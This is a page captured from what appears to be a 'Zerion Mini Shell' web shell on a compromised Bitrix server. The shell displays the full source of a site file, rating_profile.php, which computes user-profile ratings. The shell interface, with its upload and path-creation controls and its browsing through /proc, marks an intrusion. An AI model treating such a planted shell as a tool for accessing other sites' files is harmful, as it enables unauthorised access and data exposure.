%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/11976/task/11976/root/home/bitrix/www/local/php_interface/include/
Upload File :
Create Path :
Current File : //proc/11976/task/11976/root/home/bitrix/www/local/php_interface/include/rating_profile.php

<?
	
class RatingProfile
{
	private $arMaxPortfolio = array(
		22479 => 50,
		ProfileTypeHelper::DEFAULT_ID_UB => 50,
		ProfileTypeHelper::DEFAULT_ID_P4 => 50,
		5683 => 150, // UB
		5684 => 150, // UB
		45937 => 150, // P4
		45938 => 150, // P4
	);
	
	private $arUserFieldNames = array(
		'PERSONAL_MOBILE','PERSONAL_PHONE', // Два телефона
		'PERSONAL_WWW', // Сайт
		'PERSONAL_ICQ', // Скайп
		'PERSONAL_MAILBOX', // Е-майл
		'UF_SOCIAL', // Социальные сети
	);
	
	private $arPropNames = array(
		'LANGUAGES', 'SEX', 'STAGE', 'HAIRCOLOR', 'HAIRLENGTH', 'SKINCOLOR', 'EYECOLOR',
		'MODELTHEME', 'MODELOPTIONS', 'FACETYPE', 'HEIGHT', 'WEIGHT', 'BREAST',
		'WAIST', 'HIP', 'SIZE', 'SHOES', 'MODELTYPE', 'WIDESCREEN'
	);

	const VERIFED_BY_P4 = 'VERIFED_BY_P4';
	
	private function calcPortfolio($profileID,$typeAccount)
	{
		if (intval($typeAccount)>0) $maxCount = $this->arMaxPortfolio[$typeAccount];
		else $maxCount = $this->arMaxPortfolio[ProfileTypeHelper::DEFAULT_ID_P4];
		
		$count = 0;
		$like = 0;

		$rsAlbum = CIBlockSection::GetList(array(),array("IBLOCK_ID"=>4, "DEPTH_LEVEL"=>1, "UF_PORTF_USR"=>$profileID), false);
		if ($arAlbum = $rsAlbum->Fetch())
		{
			$rsPhoto = CIBlockElement::GetList(array(), array("IBLOCK_ID"=>4, "ACTIVE"=>'Y', "SECTION_ID"=>$arAlbum['ID'], "INCLUDE_SUBSECTIONS"=>'Y'),false, false, array('ID'));
			
			while ($arPhoto = $rsPhoto->Fetch())
			{
				$count++;

				$arRatingResult = CRatings::GetRatingVoteResult('P4_PORTFOLIO', $arPhoto['ID'], 1);
				if (intval($arRatingResult['TOTAL_VOTES'])>0) $like += $arRatingResult['TOTAL_VOTES'];
			}
		}
		
		return $count>$maxCount?$maxCount:$count + $like;
	}

	private function calcContacts($userID)
	{
		$count = 0;
		if ($arUser = CUser::GetByID($userID)->Fetch())
		{
			foreach($this->arUserFieldNames as $key) if (isset($arUser[$key]))
			{
				if (is_array($arUser[$key]) && count($arUser[$key])>0) $count += 1 * count($arUser[$key]);
				elseif (strlen($arUser[$key])>0) $count += 1;
			}
		}
		return $count;
	}
	
	private function calcInvites($userID)
	{
		$count = 0;
		$rsUser = CUser::GetByID($userID);
		$arUser = $rsUser->Fetch();
		$cnt_inv = intval($arUser['UF_COUNT_INVITE']);
		$count = 10*$cnt_inv;
		return $count;
	}
	
	private function calcProfileProps(&$arProps)
	{
		$count = 0;
		foreach($this->arPropNames as $key)
			if (
				isset($arProps[$key])
				&& (
					(is_array($arProps[$key]['VALUE']) && count($arProps[$key]['VALUE'])>0) 
					|| strlen($arProps[$key]['VALUE'])>0
				)
			)
			$count++;

		if ($count == count($this->arPropNames)) return 10;
		elseif ($count>0) return 5;
		return 0;
	}

	public function update()
	{
		CModule::IncludeModule("iblock");
		
		$arFilter = array(
			'IBLOCK_ID'=>IBLOCK_PROFILE_ID,
			'SECTION_ID'=>7,
			//'!PROPERTY_TYPE_P4'=>false,
			'ACTIVE'=>'Y'
		);
		
		$count = 0;

		/*
		- Если удаляет и загружает новую  фотографию = 1 балл ( из рейтинга при удалении ничего не вычитается - это бонусы за активность)
		 */
		
		$rs = CIBlockElement::GetList(array(), $arFilter);
		while ($ob = $rs->GetNextElement())
		{			
			$count++;

			$arProfile = $ob->GetFields();
			$arProps = $ob->GetProperties();
							
			$ratingA = $this->calcProfileProps($arProps);
			$ratingC = $this->calcContacts($arProps['ACCOUNT']['VALUE']);
			$ratingI = $this->calcInvites($arProps['ACCOUNT']['VALUE']);
			$ratingP = $this->calcPortfolio($arProfile['ID'],$arProps['TYPE_P4']['VALUE']);
			$ratingV = $arProps[static::VERIFED_BY_P4]['VALUE'] == 'Y' ? 10 : 0;
			$rating = $ratingA + $ratingC + $ratingI + $ratingP + $ratingV;

			CIBlockElement::SetPropertyValuesEx($arProfile['ID'], false, array('RATING_P4' => $rating));
			
			echo $count." ".$arProfile['NAME']." #".$arProps['ACCOUNT']['VALUE']
				." A".$ratingA." + C".$ratingC." + I".$ratingI." + P".$ratingP." + V".$ratingV." = ".$rating."\n";
		}

	}
	
}

Zerion Mini Shell 1.0